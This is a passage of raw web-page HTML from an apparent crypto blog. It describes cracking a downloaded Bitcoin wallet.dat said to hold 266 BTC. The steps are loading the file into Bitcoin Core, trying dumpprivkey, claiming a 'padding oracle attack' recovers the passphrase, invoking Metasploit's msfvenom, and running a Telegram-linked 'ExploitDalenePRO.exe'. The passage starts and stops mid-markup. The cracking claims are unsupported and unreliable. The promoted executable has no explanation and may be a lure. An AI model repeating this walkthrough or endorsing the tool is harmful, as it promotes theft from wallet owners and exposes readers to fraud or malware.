password!\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-24.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-4839\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003eLet’s run the command to check the private key:\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e\u003cstrong\u003edumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-24-1024x67.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5731\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003eWe see a warning:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/understanding-and-resolving-the-error-please-enter-the-wallet-passphrase-with-walletpassphrase-first-code-13-in-bitcoin-core/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eError: Please enter the wallet passphrase with walletpassphrase first. (code -13)\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch1 class=\"wp-block-heading\"\u003ePadding Oracle Attack\u003c/h1\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-28.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5793\"\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-29.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5795\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s use the Padding Oracle Attack method\u0026nbsp;\u003ca href=\"https://exploitdarlenepro.com/15gcfqvj68vyuvdb6e3vdu4itktc3htlq2/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eon Wallet.dat\u003c/strong\u003e\u003c/a\u003e\u0026nbsp;and decrypt the password for access into a binary password format.\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-embed is-type-rich\"\u003e\u003cdiv class=\"wp-block-embed__wrapper\"\u003e\nhttps://youtube.com/watch?v=LI3xSUTfVmc%3Fsi%3DZF5cPkDHtgbA85H2\n\u003c/div\u003e\u003c/figure\u003e\n\n\n\n\u003cfigure class=\"wp-block-image\"\u003e\u003ca href=\"https://www.youtube.com/watch?v=LI3xSUTfVmc\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-35.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-5820\"\u003e\u003c/a\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-20-1024x41.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1125\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-23-1024x46.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1136\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eFirst, we get access to the \u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/raw/main/266.03%20BTC/wallet.dat\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ewallet.dat\u003c/a\u003e file in the amount of: \u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/tree/main/266.03%20BTC\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e266.03 BTC\u003c/a\u003e \u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eCloning the repositories: \u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List.git\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBiggest Lost Bitcoin Wallets List\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-360565bf9d3802c116658c5ae19ae70f\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003egit clone https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List.git\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-1024x543.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-977\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center\"\u003e\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/total-commander/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eTotal Commander\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-1.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-982\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-25.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1141\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-28(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1149\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/tree/main/266.03%20BTC\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/tree/main/266.03%20BTC\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-31-1024x61.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1154\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center\"\u003e\u003cstrong\u003eDownload and Install\u0026nbsp;\u003ca href=\"https://bitcoincore.org/bin/bitcoin-core-0.18.0\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Core 0.18.0\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-7-1024x551.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-994\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full is-resized\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-9.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-997\" style=\"width:841px;height:auto\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eOpen path: \u003ca href=\"https://keyhunters.ru/bitcoin-core-wallet-dat/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ec:\\Users\\User\\AppData\\Roaming\\Bitcoin\\\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-11.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1003\"\u003e\u003c/figure\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003eMove the file:\u003c/strong\u003e \u003cstrong\u003e\u003ca href=\"https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/raw/main/266.03%20BTC/wallet.dat\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ewallet.dat\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-34-1024x43.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1161\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"file:///C:/Users/User/AppData/Roaming/Bitcoin/wallet.dat\"\u003e\u003cstrong\u003ec:\\Users\\User\\AppData\\Roaming\\Bitcoin\\wallet.d\u003c/strong\u003e\u003c/a\u003e\u003ca href=\"https://keyhunters.ru/bitcoin-core-wallet-dat/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eat\u003c/strong\u003e\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-4.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1090\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-left\"\u003e\u003cstrong\u003eRun \u003ca href=\"https://keyhunters.ru/bitcoin-core-wallet/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Core Wallet\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full is-resized\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-13.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1008\" style=\"width:839px;height:auto\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch1 class=\"wp-block-heading\"\u003e\u003ca href=\"https://exploitdarlenepro.com/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eEncryt Wallet…\u003c/strong\u003e\u003c/a\u003e\u003c/h1\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full is-resized\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-14(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1010\" style=\"width:840px;height:auto\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch1 class=\"wp-block-heading\"\u003e\u003cstrong\u003eOpen Console\u003c/strong\u003e\u003c/h1\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-cf80dd5acd8a603df348696180522230\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003egetaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-39-1024x67.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1172\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color wp-elements-5fcc48111bbc3af0c37d321ce59d8128\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e{\n  \"address\": \"15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\",\n  \"scriptPubKey\": \"76a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac\",\n  \"ismine\": true,\n  \"solvable\": true,\n  \"desc\": \"pkh([334a75f1]04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e)#lrxwcu6z\",\n  \"iswatchonly\": false,\n  \"isscript\": false,\n  \"iswitness\": false,\n  \"pubkey\": \"04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e\",\n  \"iscompressed\": false,\n  \"label\": \"\",\n  \"ischange\": false,\n  \"timestamp\": 1,\n  \"labels\": [\n    {\n      \"name\": \"\",\n      \"purpose\": \"receive\"\n    }\n  ]\n}\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://dockeyhunt.com/Cryptocurrency-Prices\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Address Information:\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-color has-link-color wp-elements-90831519307e38f95ff696c8df8ca26b\" style=\"color:#4092c2\"\u003e\u003cstrong\u003eBalance:  266.03138481 BTC\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-48-1024x54.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1183\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/rapid7/metasploit-framework\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eMetasploit Framework and use MSFVenom\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-17.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1021\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://keyhunters.ru/metasploit-framework-msfvenom/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eThe Role of Metasploit Framework in the Development of msfvenom\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\"\u003e\n\u003cp\u003e\u003ca href=\"https://keyhunters.ru/metasploit-framework-msfvenom/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003emsfvenom \u003c/a\u003eis a tool that was created by combining two previous tools:\u0026nbsp;\u003ccode\u003emsfpayload\u003c/code\u003e and\u0026nbsp;\u003ccode\u003emsfencode\u003c/code\u003e. It allows users to create payloads for different platforms and encoders, and also provides the ability to customize the payload parameters. msfvenom supports a variety of output formats, including executables, scripts, and even code for web applications.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://keyhunters.ru/metasploit-framework-msfvenom/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eMetasploit Framework\u003c/a\u003e plays a key role in the development of msfvenom for several reasons:\u003c/p\u003e\n\n\n\n\u003cp\u003e1. Exploit Integration: msfvenom allows users to create payloads that can be used with exploits from Metasploit. This simplifies the penetration testing process as users can quickly generate payloads that match specific vulnerabilities.\u003c/p\u003e\n\n\n\n\u003cp\u003e2. Versatility: With support for multiple formats and platforms, msfvenom has become a versatile payload creation tool. This allows security professionals to tailor their attacks to different systems and environments.\u003c/p\u003e\n\n\n\n\u003cp\u003e3. Updates and Support: The Metasploit Framework is constantly updated, which keeps msfvenom up-to-date and effective. New features and improvements in Metasploit directly impact msfvenom’s capabilities, making it more powerful and flexible.\u003c/p\u003e\n\n\n\n\u003cp\u003e4. Education and Research: Metasploit and msfvenom are important tools for cybersecurity education and research. They allow students and security professionals to study vulnerabilities and exploitation techniques in a secure environment.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-18-1024x90.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1022\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003cstrong\u003e\u003ca href=\"https://t.me/exploitdarlenepro\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eRun ExploitDalenePRO.exe\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cfigure class=\"wp-block-image size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-19.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1025\"\u003e\u003c/figure\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-20-1024x69.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1028\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-01b3ce1855bfbdfcfcfc37500a7fdc22\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003e15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-large\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-56-1024x69.png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1198\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-a38536e0000d1d22e5c946d6e4f6658a\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\modules\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-28(2).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" class=\"wp-image-1040\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code has-text-color has-link-color has-medium-font-size wp-elements-5f92ac744eb248fb400fd3ee09945f1c\" style=\"color:#4092c2\"\u003e\u003ccode\u003e\u003cstrong\u003ec:\\BitcoinTools\\ExploitDalenePRO\\modules\\exploits\\\u003c/strong\u003e\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter size-full\"\u003e\u003cimg decoding=\"async\" src=\"./Jacobian Curve Coordinate Manipulation Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File - CRYPTO DEEP TECH_files/image-29(1).png\" alt=\"Jacobian Curve Coordinate Manipulation: Exploring the Vulnerability of a Fake Signature Using a Bitcoin Wallet Decodable File\" 